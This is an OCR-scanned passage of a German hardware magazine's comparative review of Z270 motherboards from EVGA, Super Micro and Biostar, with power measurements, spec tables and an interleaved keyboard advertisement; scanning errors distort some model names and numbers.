her), aber so früh konnten nicht 
alle Hersteller Testmuster liefern. 
Nach und nach und bei zum Teil 
anhaltend schlechter Verfügbar- 
keit im Handel trafen Platinen von 
Super Micro, Biostar und letztlich 
auch EVGA in der Redaktion ein - 
Zeit für Runde 2. 


M.2, U.2, PCI-E: EVGA 

Die Probanden von Asus, Asrock, 
Gigabyte und MSI im ersten Teil 
der Marktübersicht verteilten 
die 16 PCI-Express-3.0-Lanes der 
Kaby- und Skylake-CPUs einheitlich 
auf zwei mechanische x16-Slots, 
nutzbar wahlweise im Verhältnis 
x16/x0 oder x8/x8. Ein dritter 
Steckplatz dieses Formats wurde 
durchgängig mit vier Lanes über 
den Z270-PCH angebunden, genau- 
so wie jeweils drei x1-Slots. Sogar 
die Platzierung dieser Steckplätze 
war bei allen vier Herstellern na- 
hezu identisch und sie wurden in 


allen vier Fállen um zwei PCI-E-3.0- 
M.2-Slots für schnelle SSDs ergánzt. 


Die kleineren Mainboardentwick- 
ler halten wenig von derartigem 
Einheitsbrei und gehen kreativer 
auf Kundenfang: EVGAs Z270 FTW 
K nutzt zwar ebenfalls die bekann- 
te x16/x0-oder-x8/x8-Kombination 
an ATX-Position 2 und 5 für Grafik- 
karten, der dritte mechanische x16- 
Slot an Position 7 ist aber mit nur ei- 
ner Lane an den PCH angebunden. 
EVGA sieht diesen Steckplatz für 
eine dedizierte Physx-Grafikkarte 
vor, alternativ passen natürlich 
beliebige andere Erweiterungs- 
karten. Umgekehrt blockiert der 
Einbau einer zweiten Grafikkarte 
mit Triple-Slot-Kühler nur diesen 
x]-Steckplatz, bei den meisten an- 
deren Herstellern dagegen einen 
x1- und einen x4-Slot. 


Berücksichtigt werden große Gra- 
fikkarten auch beim zweiten х1- 
Slot an ATX-Position 4 (einen drit- 
ten gibt es nicht). Hier ist er vor 
Dual-Slot-Grafikkarten sicher, wird 
aber, wie bei allen Herstellern, bei 
Nutzung einer 2.5-Slot-Grafikkarte 


EVGA 2270 ЕТ\ K 


Als teuerstes Z270-Mainboard im PCGH-Testlabor setzt sich das 7270 FTW K mühelos vor die anderen Teilnehmer unseres zweiten Marktübersicht-Teils, aber 
auch verglichen mit dem ersten Durchgang beeindrucken die konsequente Layout-Optimierung für große Grafikkarten, die hohe Volllast-Effizienz und die 
exzellente Kühlung. Im Zuge des Verzichtes auf nützliche und günstige ältere Schnittstellen verschwendet EVGA aber einige Ressourcen des Z270. 


Stromverbrauch: EVGA beeindruckt unter Last 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 
Biostar Z270GT6 EEE 0,9 (-10 96) 
MSI 7270 Gaming Pro Carbon Eu 1,0 (0 96) 
EVGA 7270 FTW K GEIŠI  GGGLGIOI:IIIasis) 
Gigabyte Z270X-Gaming 7 EEE 1,0 (0 96) 
Super Micro C72270-CG EE 1,2 (+20 %) 
Asus Maximus IX Него ak 1,5 (+50 96) 

Asrock 2270 Gaming K6 aa 2,6 (+160 96) 


Leerlauf: Windows-8.1-Desktop inklusive 80-Plus-Gold-Netzteil 
Biostar 2270GTo sa 36,4 (-12 96) 
Super Micro C72270-CG. hs 38.2 (-8 96) 
MSI Z270 Gaming Pro Carbon EX 39,5 (-5 96) 
EVGA 2270 FTW K ESSI 41,4 (Basis) 
Asrock 2270 Gaming Кб aa 45,3 (+9 96) 
Gigabyte 2270X-Gaming 7 Xu 45,6 (+10 96) 
Asus Maximus IX Него RR 48,2 (4-16 96) 


Volllast: Witcher 2 + Prime 95 (4 Threads) inkl. 80-Plus-Gold-Netzteil 
EVGA Z270 FTW K Si 285 (Basis) 
MSI Z270 Gaming Pro Carbon ME 291 (+2 %) 
Asus Maximus IX Hero a a 302 (+6 %) 
Super Micro C72270-CG. aw 310 (+9 %) 
Gigabyte Z270X-Gaming 7 EX 310 (+9 %) 
Biostar 2270СТ6 313 (+10 %) 
Asrock 2270 Gaming Кб EX 317 (+11 96) 


System: i7-6700K, Palit GTX980ti Superjetstream 110% Power-, 91°C Temp.-Target; 
2x 8 GiB DDR4-2133 Bemerkungen: EVGA ist fast so sparsam wie MSI in Teil 1 dieser 
Marktübersicht, aber auch Biostar und Super Micro liegen vor Asus, Asrock und Gigabyte. 


Watt 
< Besser 


USB 3.X satt 


Header für vier USB-3.0-Front-Anschlüsse 
bieten nur wenige Mainboards, so gut wie 
gar keins bietet zusätzlich sechs native 
USB-3.0-Ports am I/O-Panel. Das 2270 
FTW K setzt noch zweimal USB 3.1 oben 
drauf, im Gegenzug fehlen aber Ressour- 


cen für einen zweiten M.2-Steckplatz. 


Halbe, aber starke Kühlung 
Die primáre CPU-Stromversorgung des 
7270 FTW K verschwindet unter einem 
riesigen Kühlblock, drei weitere Wandler 
daneben bleiben ungekühlt — obwohl 
entsprechende Halterungslöcher in der 
Platine vorhanden sind. Die Temperaturen 
sind aber für beide Bereiche exzellent. 


Sinnvolle PCI-Express-Verteilung und -Umleitung 


Grafikkarten brauchen Platz, GPU-Spezialist EVGA berücksichtigt dies optimal: Dual-Slot-Gra- 
fikkarten blockieren gar keine Funktionen, Triple-Slot-Modelle nur je einen x1-Slot und die 

Lane von einem dieser beiden lásst sich auch dann noch für ein M.2-e-key-WLAN-Modul nut- 
zen. Der x4-Slot ist komplett Grafikkarten-sicher und tritt seine Lanes notfalls an den U.2 ab. 
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Super Micro Supero C7Z270-CG 


Asus ROG, Gigabyte Aorus, MSI Gaming-Series — kein Mainboard-Hersteller kommt ohne Spieler-Branding aus und so hat Server-Spezialist Super Micro die 
Supero-Sparte (gesprochen Super-0) ins Leben gerufen. RGB-LED-Weihnachtsbàume und funktionslose Designer-Kühler sucht man hier aber vergebens, 
abseits der grellen Farbgebung und der deutlich aufgewerteten Lüftersteuerung liefert Super Micro eine gewohnt solide Platine ab. 


USB 3.1 Overkill 

Gleich zwei ASM 1142 bescheren dem 
С77270-Сб drei Typ-A- und einen Typ-C- 
USB-3.1-10-GBit/s-Anschluss am 1/0-Ра- 
nel. USB-3.0-Anschlüsse fehlen aber und 
auch intern bietet Super Micro nur einen 
Header für zwei derartige Anschlüsse, ob- 
wohl der 2270 minimal sechs bereitstellt. 


Wenig heizen, gut kühlen 
Server-Betreiber legen viel Wert auf hohe 
Effizienz und auch das C72270-CG gehört 
zu den sparsameren Sockel-1151-Main- 
boards. Super Micros groBe Kühlkórper 
müssen entsprechend wenig Abwärme be- 
wältigen, die resultierenden Temperaturen 
gehören zu den niedrigsten überhaupt. 


Keine Planung für GPU-Kühler, Anschlüsse für Ѕегуег-5505 © 
Super Micro priorisiert leider nicht die PCI-Express-Ansprüche von Spielern. So zweigt der 
dritte mechanische x16-Slot seine Lanes vom zweiten respektive ersten ab und Grafikarten 
verdecken mindestens einen, im Extremfall alle x 1-Slots. Umgekehrt haben Heimanwender 
keine Verwendung für die beiden U.2-Anschlüsse (der zweite teilt seine Lanes mit einem M.2). 


blockiert. Im Gegensatz zur Kon- 
kurrenz leitet EVGA die Lane aber 
alternativ an einen M.2-Steckplatz 
mit E-Kodierung weiter, wo sie 
auch bei maximalem Grafikkarten- 
ausbau für ein kompaktes WLAN- 
Modul nutzbar bleibt. Ebenfalls 
sicher vor GPU-Kühlern ist EVGAs 
x4-Slot (mechanisch wie elekt- 
risch), der auf dem Z270 FTW K 
an ATX-Position 1 zwischen der 
(ersten) Grafikkarte und der CPU 
sitzt. Der Abstand zum CPU-Sockel 
ist hierbei ausreichend, 
kompakte x4-Karten nicht in Kon- 
flikte mit großen CPU-Kühlern 
geraten. Selbst für Grafikarten mit 
rückseitigem VRM-Kühler (zum 
Beispiel Arctic Accelero Xtreme 


sodass 


4) hat EVGA vorgesorgt: Im Notfall 
lassen sich die Lanes des x4-Slots an 
einen U.2 Anschluss für eher selte- 
ne 2,5-Zoll-NVME-SSDs umleiten. 
Deren normalen M.2-Gegenstücke 
stellt EVGA zwei PCI-Express-3.0- 
x4-Steckplätze zur Verfügung. 


M.2, U.2, PCI-E: Super Micro 

Zwei M.2-3.0-x4-Slots finden sich 
auch bei Super Micros C7Z270-CG, 
der zweite teilt seine vier Lanes 
aber mit einem U.2-Port - in unse- 
ren Augen ein überflüssiges Arran- 
gement, denn U.2-Laufwerke sind 
nicht nur selten, sondern lassen 
sich mit günstigen Adaptern auch 
an M.2-Slots anschließen. Zudem 
verfügt das C7Z270-CG über einen 


© 
[== 
| 


zweiten U.2-Anschluss, der seine 
PCI-Express-Ressourcen exklusiv 


nutzt. 


Besser aufgehoben wàren diese un- 
serer Meinung nach in einem x4- 
Slot für die Nachrüstung von Thun- 
derbolt 3 oder anderer, zukünftiger 
Schnittstellen gewesen - C7Z270- 
CG verzichtet aber im Gegensatz 
zu anderen Z270-Design zugunsten 
umfangreichen M.2-/U.2- 
Ausstattung auf einen derartigen, 
über den PCH angebundenen Slot. 
Stattdessen gehen die maximal vier 
Lanes des dritten mechanischen 


seiner 


x16-Slots zulasten der acht des 
zweiten, der sie sich wiederum 
beim primären x16-Slot ausborgt. 


Für Spieler ist dieses Sharing-Kon- 
zept für gewöhnlich von geringem 
Interesse, denn eine x8/x4/x4-Ver- 
teilung ist für mehrere Grafikkar- 
ten nicht zu empfehlen. Möchte 
man hingegen zwei Grafikkarten 
mit x8/x8 oder eine mit vollen 
16 Lanes versorgen, ist der dritte 
x16-Slot gar nicht 
nutzbar. Die drei x1-Steckplätze 
kämpfen mit einem gegenteiligen 
Problem: Zwar nutzen sie ihre PCI- 
Express-Lanes exklusiv, der erste 


mechanische 


Slot wird aber bereits bei Einbau ei- 
ner Dual-Slot-Grafikkarte physisch 
blockiert und Nummer Zwei und 
Drei bei Nutzung einer 2,5-Slot- 
Grafikkarte respektive bei Nutzung 
eines Dual-GPU-Verbundes. 


c 


Reset POWER 


Typ-C bedeutet nicht zwingend USB 3.1 mit 10 GBit/s. Biostar kombiniert das neue 
Steckerformat mit klassischer USB-3.0-5-GBit/s-Funktionalität. 
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kónnen beim Basteln versehentlich ausgelóst werden. 
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M.2, U.2, PCI-E: Biostar 
Eine ähnliche Ressourcenver- 
schwendung praktiziert Biostar, 
allerdings hat das Z270 GT6 zusätz- 
lich einen vierten x1-Slot an der blo- 
ckadesicheren ATX-Position 1. Der 
x16-Slot an 
ATX-Position 5 ist zudem gar nicht 
für Grafikkarten gedacht, sondern 
wird mit vier PCI-Express-3.0-Lanes 
über den PCH angebunden - die 16 
CPU-Lanes stehen exklusiv und Sha- 
ring-frei dem primären Steckplatz 


an ATX-Position 2 zur Verfügung. 


zweite mechanische 


Damit ist das Z270GT6 zwar nicht 
SLItauglich und auch für Crossfire 
nicht zu empfehlen, es gehört aber 
zu den wenigen Sockel-1151-Main- 
boards, die gleich zwei x4-Karten 
aufnehmen können, ohne die An- 
bindung der Grafikkarte zu beein- 
trächtigen. Zusammen mit zwei bis 
drei unblockierten x1-Slots sollte 
das selbst für exotische Ansprüche 
reichen - solange man nicht den 
einzigen M.2-Steckplatz nutzt. Die- 
ser deaktiviert den oberen x4-Slot 
nämlich wieder. Ein ebenfalls vor- 
handener U.2-Anschluss arbeitet 


dagegen unabhängig von etwaigen 
Erweiterungskarten. 


SATA: Weiteres Sharing 

Untrennbar mit der PCI-Express- 
Austattung verbunden sind die 
SATA-Anschlüsse, denn beim Z270- 
PCH sind alle SATA-Ports prinzipiell 
auch PCI-Express-tauglich. SATA- 
Express-Anschlüsse zum Nulltarif 
integriert trotzdem nur EVGA - da 
es weiterhin keine SATA-Express- 
Laufwerke gibt, eine verständliche 
Entscheidung seitens Super Mi- 
cros und Biostars, in Anbetracht 
von USB-3.1-Front-Einschüben mit 
SATA-E-Anbindung aber dennoch 
eine leichte Einschränkung der 
Nutzer. Deutlich spüren diese die 
Zweitverwendung eines Teils der 
jeweils SATA-6-GBit/s-An- 
schlüsse für Onboard-PCI-Express- 
Funktionen bei allen drei Herstel- 


sechs 


lern. So teilt sich bei Biostar der 
U.2-Port zwei Lanes mit je einem 
SATA-Anschluss, bei Super Micro 
reduziert die Nutzung des zwei- 
ten M.2-Steckplatzes die mögliche 
Anzahl von SATA-Geräten auf vier. 
EVGA nutzt diese Anbindungsform 


MX- 


CHERRY: 
RED-Schalter 


Anti-Ghosting & 
N-Key-Rollover 


www.Ic-power.com 


LC-KEY-MECH-1 


Die neue mechanische Gaming-Tastatur von LG-Power, 
schnell und effizient wie LOGAN! 


Dank der Aluminium-Adamantium-Oberfläche sowie 
den ultraprazisen CHERRY®-MX-RED-Schaltern 
meistern Sie spielend jede Gefahr! 


Großes LOGAN-Gewinnspiel 


auf www.lc-power.corn 


sogar für beide M.2-Steckplätze, so- 
dass bei Vollbestückung nur noch 
zwei SATA-Ports übrig bleiben - 
und zwar die beiden ohne SATA- 
Express-Fähigkeit. 


USB 3.1, 3.0 und 2.0 

Ebenfalls mit PCI-Express assozi- 
iert sind 5- und 10-GBit/s-USB-An- 
schlüsse (USB 3.0 respektive 3.1, Al- 
ternativbezeichnung USB 3.1 Gen1 
und USB 3.1 Gen2). Letztere wer- 
Sockel-1151-Mainboards 
über PCI-E-angebundene Zusatz- 


den bei 


controller realisiert, wovon Super 
Micro intensiven Gebrauch macht: 
Das C7Z270-CG investiert gleich 
vier Lanes in ebenso viele USB-3.1- 
Anschlüsse am I/O-Panel. Außer 
auf einen Mangel an so schnellen 
Endgeräten stoßen Anwender bei 
der Nutzung aber auf ein zweites 
Hindernis: Zusätzlich sind nur zwei 
USB-2.0-Ports verfügbar, sodass alle 
weitere USB-Geräte nach Anschluss 
von Maus und Tastatur einen der 
der 3.1-Ports belegen, auch wenn 
deren Geschwindigkeit gar nicht 
benötigt wird. Wieder Erwarten 


sorgen auch  Front-Anschlüsse 


nicht für eine Entlastung, denn ob- 
wohl der Z270 sechs reine USB-3.0- 
Ausgänge hat, verbaut Super Micro 
nur Header für deren zwei. 


Das genaue Gegenteil findet sich 
bei EVGA: Hier werden vier der fle- 
xiblen HSIO-Ports des Z270 nicht 
für PCI-Express, sondern für zwei 
interne USB-3.0-Doppelheader ge- 
nutzt, während die sechs normalen 
3.0-Ports allesamt am I/O-Panel be- 
reit stehen. Zusätzlich gibt es hier 
USB-3.1-Anschlüsse, 
alle Bedürfnisse abgedeckt sind, 


zwei womit 
aber erneut ein Teil der Ressourcen 
für USB-2.0-Endgeräte verschwen- 
det werden dürfte. 


Das preislich deutlich tiefer ange- 
siedelte Biostar Z270 GT6 verzich- 
tet gänzlich auf USB 3.1 und nutzt 
die vom Z270 FTW K bekannte 
Umwidmung, um einen fünften 
USB-3.0-Port im Typ-C-Format am 
I/O-Panel bereitzustellen. Tastatur 
und Maus finden zusätzlich zwei 
USB-2.0-Anschlüsse 
gibt es wie bei Super Micro einen 
USB-3.0-Header für zwei Ports. 


vor, intern 


LC-Power-Produkte u.a. erhältlich bei: Bora-Computer.de - Gyberport.de | „at - KMComputer.de = Mindfactory.de - Reichelt.de - Brack.ch - Digitec.ch - Steg-Electronics.ch 
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Biostar Racing Z270 GT6 


Mit langen Feature-Listen und guten Preisen soll Biostars „Racing”-Serie bei „Gaming”-Endkunden punkten. Das GT6 bildet die Mitte des Z270-Line-ups 
und fällt durch seine Single-GPU-Auslegung auf. Mit Onboard-Schaltern, Diagnoseanzeige und gesockeltem Dual-UEFI bietet es typische Merkmale teurer 
Konkurrenz- , Übertakter"-Platinen bei niedrigerem Stromverbrauch, in Sachen Lüftersteuerung hinkt Biostar aber noch hinterher. 


M.2-Designer-, Kühlung" 
Eine Metallabdeckung mit Wärmeleit- 

pad soll hitzköpfige SSD-Controller im 
M.2-Slot auf Temperatur halten und im 
Gegensatz zu MSIs „M.2 Shield" versieht 
Biostar den Aluminiumkühler sogar mit 
Kühlrippen — um sie dann mit einer Pla- 
stikblende in Carbon-Optik zu überkleben. 


240 GB SATA-SSD gratis 
Vorerst wird es das 2270 GT6 nur im 
Bundle mit einer 2,5-Zoll-SSD von Biostar 
geben. Diese ist nützlicher als Dreingaben 
anderer Hersteller, aber das Plus in Aus- 
stattungs- und Endnote (0,44 bzw. 0,09 
Notenpunkte) ist den hóheren Endpreis 
(Gegenwert circa 60 Euro) nicht wert. 


Dual-PCI-Express-x4, M.2 & U.2 - aber nicht ohne Sharing Ө 
Von drei mechanischen x16-Slots ist nur der oberste direkt an die CPU angebunden und 

somit für eine Grafikkarte geeignet, deren Anbindung somit vor Lane-Sharing sicher ist. Die 
zahlreichen weiteren Slots überfordern aber die Ressourcen des 2270, sodass der seltene 
zweite x4-Slot nicht gleichzeitig mit dem einzigen M.2-Steckplatz genutzt werden kann. 


Knapp, aber es geht: Selbst in Kombination mit dem máchtigen Noctua NH-D15 passt 
eine Controllerkarte in den oben liegenden x4-Slot des EVGA 7270 FTW K. 
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OC, Kühlung und Optik 

Auch abseits von Erweiterungs- 
und Anschlussmóglichkeiten unter- 
scheiden sich die Testteilnehmer 
stark. Biostar folgt den „Gaming“- 
Vorgaben der vier grofsen Herstel- 
ler und versieht das Z270 GT6 mit 
einer regelbaren RGB-Beleuchtung 
an PCH- und Spannungswandler- 
kühlern sowie entlang der linken 
Mainboard-Kante. Zusätzlich lassen 
sich zwei externe RGB-LED-Strei- 
fen anschliefsen. Allerdings wirken 
sich die Zierblenden auch auf die 
Spannungswandlertemperaturen 
aus -61 °C schránken das Übertak- 
tungspotenzial zwar nicht ein, sind 
aber weit vom Machbaren entfernt. 


Wie es besser geht, beweisen das 
nur im PCH-Bereich beleuchtete 
C7Z270-CG und das abseits von Di- 
agnosefunktionen LED-freie 7270 
FTW K. Ersteres unterbietet dank 
der großen Oberfläche seiner Küh- 
lung sogar beinahe den Tempera- 
turrekordwert des EVGA Z170 Clas- 
sified 4-Way. Aber auch das Z270 
FTW K ist trotz fehlender Heatpipe 
und kleinerer Kühlergrundfläche 
nur wenig schlechter - effiziente 
Bauteile mit viel Reserven für Über- 


takter und ein hoch aufragender 
Kühlkörper machen es möglich. 
Trotz seiner Ausmaße kollidiert 
letzterer übrigens noch nicht mit 
ausladenden CPU-Kühlern vom 
Schlage eines Thermalright Macho. 


Einig sind sich EVGA und Super 
Micro auch bei der adaptiven 
Spannungskontrolle und der frei 
konfigurierbaren Mehrpunkt-Lüf- 
terkurve. Für Super Micro stellt die 
Ergänzung dieser Features einen 
großen Fortschritt gegenüber äl- 
teren Endkunden-Mainboards dar 
- einen Schritt, den Biostar leider 
erst noch vor sich hat. 


Empfehlungen 

Zusammengefasst belegt EVGA klar 
den ersten Platz der Dreiergruppe. 
Verantwortlich dafür sind die sau- 
ber umgesetzten UEFI-Optionen, 
die gute Effizienz unter Volllast und 
die exzellente Kühlung. Aber auch 
das konsequent mit Blick auf Spie- 
ler-Grafikkarten optimierte Layout 
gefällt. Potenzial verschenkt EVGA 
durch die vielen USB-3.0-Ports, 
mit den gleichen Ressourcen hätte 
man auch die M.2-Slots Sharing-frei 
gestalten, einen dritten M.2-Slot 
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ergänzen oder zumindet mehrere 
USB-3.1-Controller verbauen kön- 
nen. Preislich konkuriert das Z270 
FTW K nämlich mit entsprechend 
besser ausgestatteten Mainboards, 
die für Anwender ohne ausladende 
Grafikkarten somit die attraktive- 
ren Angebote darstellen. 


Durchwachsen fällt auch unser 
Urteil zu Super Micros C7Z270- 
CG aus. Qualitativ erlaubt sich das 
Mainboard keine Schwächen und 
die Kühlung ist vorbildlich, den 
Verzicht auf opulente Licht-Instal- 
lationen trotz „Gamer“-Brandings 
dürften einige PCGH-Leser sogar 
als Vorteil werten. Fragwürdig ist 
aber das Layout der PCI-Express- 
Erweiterungsslots und die Sharing- 
Situation. Neben einer Dual- oder 
Triple-Slot-x16-Karte finden nur 
noch zwei respektive eine x1-Karte 
ihren Platz - das schaffen selbst Mi- 
cro-ATX-Mainboards. Kombiniert 
mit der Konzentration auf USB 3.1 
und U.2 werden typische Endan- 
wender hier nur einen Teil des 
Z270-Potenzials nutzen können, 
zahlen aber den vollen Preis. 


Letzterer ist auch die Achillesferse 
des 7270 GT6. Biostars Entschei- 
dung, keinen Multi-GPU-Betrieb zu 
unterstützen, dürfte den meisten 
Lesern entgegenkommen, der Ver- 
zicht auf USB 3.1 ist in der Über- 
200-Euro-Klasse hingegen nicht 
mehr zeitgemäß. Ob das Z270 GT6 
überhaupt zur Oberklasse zählen 
möchte, ist aber diskutabel: Der 
Verkaufspreis überschreitet zwar 
die Preisvorstellungen vieler So- 
ckel-1151-Käufer. Dafür gibt es aber 
zusätzlich eine 240-GB-SSD, nach 
Abzug von deren Gegenwert landet 
man in der 150-Euro-Mittelklasse. 
Dafür ist das Z270 GT6 durchaus 
gut ausgestattet, auch wenn Lane- 
Sharing das Alleinstellungsmerk- 
mal „dual х4“ wieder aufhebt. (tv) 


Fazit Hardware 


Z270 ist vielseitig, bleibt teuer 

Auch abseits der Platzhirsche Asus, 
Asrock, Gigabyte und MSI gibt es in- 
teressante Mainboards, insbesondere 
wenn die eigenen Ansprüche von den 
abwechslungsarmen Mainstream-Lay- 
outs nicht befriedigt werden. Am zu 
hohen Preisniveau der Z270-Modelle 
ändert aber nicht einmal der vermeint- 
liche Billighersteller Biostar etwas. 
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MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien. 


Produkt 
Hersteller (Website) 


Z270 Gaming Pro Ca 


MSI (www.msi.com) 


Нагйшаге 


Maximus IX 


Asus (www.asus.de) 


Z270 ЕТМК 
EVGA (www.evga.de) 


Preis/Preis-Leistungs-Verhàltnis 


Ca. € 180,-/gut 


Ca. € 270,-/befriedigend 


Ca. € 330,-/ausreichend 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1557471 


www.pcgh.de/preis/1557900 


www.pcgh.de/preis/1561593 


Chip; UEFI-; Board-Revision 


Intel 2270; 1.23; 1.0 


Intel 2270; 0603; 1.01 


Intel 2270; 1.01; 1.0 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 2,26 2,12 2,37 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 
PCI-E-Standard* -/3.013.0/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/-/3.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


1x 16/-/-1x0/-/- oder -/x8/-/-Ix8/-/- 


1x 16/-/-1x0/-/- oder -/x8/-/-Ix8/-/- 


-/x16/-/-1x0/-/- oder -/x8/-/-/x8/-/- 


PCI-E-PCH-Lane-Verteilungsoptionen* 


=/1-1х1/х1/-/х1/х4 


x1-/-IX1/-1x0/x4 oder х 1/-/-Ix1/-Ix1/x2 


EENEG EN 


SATA 


6x 6 GBit/s (6x Z270) 


6x 6 GBit/s (6x Z270) 


6x 6 GBit/s (7270), 4 als 2x SATA-Ex- 
press (PCI-Express 3.0 x2) nutzbar 


M.2, Anbindung, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 mm; 1x M.2 m-Key, 
CI-E-3.0-x4 (deaktiviert 2x SATA), 
42/60/80 mm 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 mm; 1x M.2 m-Key, 
PCI-E-3.0-x4 (deaktiviert 2x SA- 
TA), 42/60/80 mm; 1x M.2 e-Key, 
PCI-E-3.0-x1 (vertikal) 


2x M.2 m-Key, PCI-E-3.0-x4, 60/80/110 
(deaktiviert jeweils 2x SATA/1x SATA-Ex- 
press); 1x M.2 e-Key, PCI-E-3.0-x1 (de- 
aktiviert PCI-E x1); 1x U.2, PCI-E-3.0-x4 
(deaktiviert PCI-Express x4); 


Onboard-LAN 


1x Gigabit (Intel 1219-V) 


1x Gigabit (Intel 1219-V) 


2x Gigabit (Intel 1219-V + Killer E2400) 


Monitor-Anschlüsse 


HDMI/DVI-D 


HDMI/Display-Port 


HDMI/Display-Port 


USB extern/intern 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
4x/4x USB 3.0; 2x/4x USB 2.0 


2x/2x USB 3.1 (davon x1 Typ-C ex- 
tern/x2 USB-3.1-spezial-Front-Panel-Hea- 
der); 4x/2x USB 3.0; 4x/2x USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
6x/4x USB 3.0; 0x/2x USB 2.0 


Legacy-Schnittstellen extern/intern 


5/2-Maus-und-Tastatur-Combo-Port 


Sound-Chip ealtek ALC1220 Realtek "51220" (vermutlich ALC1220) [Realtek ALC1150 
Kopfhörer-Verstärker/DTS oder DDL/ alnein/nein Ja/nein/nein Ja/nein/nein 
wechselbarer OP-AMP 


Audio-Aus-/Eingánge 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


Lüfteranschlüsse 


6x 4-Pin PWM 


8x 4-Pin PWM 


7x 4-Pin PWM 


***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, 


einstellbar 


einstellbar 


einstellbar 


CPU-Spannung 


Offset +0 bis +0,35 V 


Offset +0 bis +0,35 V 


Offset +0 bis +0,35 V 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Ja/ja/ja/ja, konfigurierbar 


Ja/ja/ja/ja, konfigurierbar 


Ја/ја/ја/ја 


Sonstige Ausstattung Clear-CMOS-Jumper; regelbare RGB-Be- |Power- und Reset-Schalter; Cle- Gesockeltes UEFI; Power- und Reset-Schal- 
leuchtung; Anschluss für RGB-LED-Streifen |ar-CMOS-Schalter; regelbare RGB-Be- ter; Clear-CMOS-Schalter am l/O-Panel; 
leuchtung; Anschluss für RGB-LED- Statussegmentanzeige; 
Streifen; Anschluss für Durchflussmesser; 
Anschluss für drei Temperatursensoren; : 
Statussegmentanzeige; Б 
Beiliegend 2x SATA-Kabel; SLI-Brücke; Y-Kabel für 4x SATA-Kabel; HB-SLI-Brücke; Verlänge- |2x SATA-Kabel; ausführliches Handbuch ^ 
RGB-LED-Streifen; Handbuch Englisch rung für RGB-LED-Anschluss; Handb. Engl. |Englisch = 
Eigenschaften (20 %) 1,79 1,58 1,87 = 
Abstand** CPU <> 1./2. RAM-Slot 53/62 Millimeter 54/64 Millimeter 51/59 Millimeter = 
Abstand** CPU <> 1./2. Spannungs-  |- (24 mm flach) 58/- Millimeter 48/— Millimeter š 
wandlerkühler S 
Abstand** CPU <> 1. PCI-E-x16 93 Millimeter 92 Millimeter 98 Millimeter & 
Abstand PEG 1 <> 2 2 Slots 2 Slots 2 Slots £ 
= 
CPU-/Ring-Multiplikator/BCLK Anheb- und absenkbar/einstellbar/ Anheb- und absenkbar/einstellbar/ Anheb- und absenkbar/einstellbar/ g 
E: 
š 
2 
F 


VCCIO/IMC-IPCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Maximal wählbarer Speichertakt 


DDR4-4133 


DDR4-4266 


DDR4-4133 


Maximale Speicherspannung 


2,20 Volt 


2,40 Volt 


2,00 Volt 


FAZIT 


© Gute Kühlung 
© Kurze Bootzeit 


© Niedriger Verbrauch 


Wertung: 2,39 


Lüftersteuerung Kurve konfigurierbar; CPU + weitere Lüfter |Kurve konfigurierbar; CPU + weitere Lüfter |Kurve konfigurierbar; CPU + weitere Lüfter 
Stabilitáts- & Praxis-Probleme Keine Keine Keine 

Leistung (60 96) 2,63 2,79 2,68 

Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 99,98 MHz 

Witcher 2 EE 1080p, kein AA/AF 143,0 Fps 143,0 Fps 140,8 Fps 

Lightroom 5.6, Export 30 RAWs 148,7 Sekunden 148,6 Sekunden 148,0 Sekunden 

AIDA Memory Bench - Kopierrate 30.822 MB/s 31.182 MB/s 30.856 MB/s 

Boot-Zeit Windows-8.1-Desktop 22,2 Sekunden 27,5 Sekunden 43,2 Sekunden 

Temp. Spannungswandler/PCH* * * 52/41/40 *C 52/38/45 *C 39/28/38 *C 

Stromver.**** Soft-off/Leerl./Last*** |1,0/39,5/291 Watt 1,5/48,2/302 Watt 1,0/41,4/285 Watt 


© Aufwendige Sound-Lösung 
© Temperatursensor- & DFS-Anschlüsse 
© 10x USB extern 


Wertung: 2,41 


© Sehr gute Kühlung 
© Geringer Stromverbrauch 
© Zahlreiche USB 3.0 


Wertung: 2,45 


www.pcgameshardware.de 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. 


kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. ****ganzes System mit i7-6700K und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil. 
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***prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, 


Test in PCGH 02/2017 Test in PCGH 02/2017 


SOCKEL-1151- 
MAINBOARDS 


Auszug aus der Testtabelle mit 


160 Wertungskriterien. 
Produkt Z270X-Gaming 7 C7Z270-CG Z270 Gaming K6 Z270GT6 
Hersteller (Website) Gigabyte (www.gigabyte.de) Super Micro (www.supero.com) Asrock (www.asrock.de) Biostar (www.biostar-europe.com) 
Preis/Preis-Leistungs-Verhàltnis Ca. € 240,-/befriedigend Ca. € 240,-/befriedigend Ca. € 200,-/gut Ca. € 210,-/befriedigend 
Link zum PCGH-Preisvergleich www.pcgh.de/preis/1557876 Noch nicht gelistet www.pcgh.de/preis/1544856 www.pcgh.de/preis/1558351 
Chip; UEFI-; Board-Revision Intel 7270; F2; 1.0 Intel 7270; 1.0; 1.01 Intel Z270; 1.14; 1.02 Intel 2270; Z27DFB21; 5.0 
Gehäuse-Format; Höhe x Breite ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 225 mm 
Ausstattung (20 %) 1,91 2,80 1,98 2,43 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 
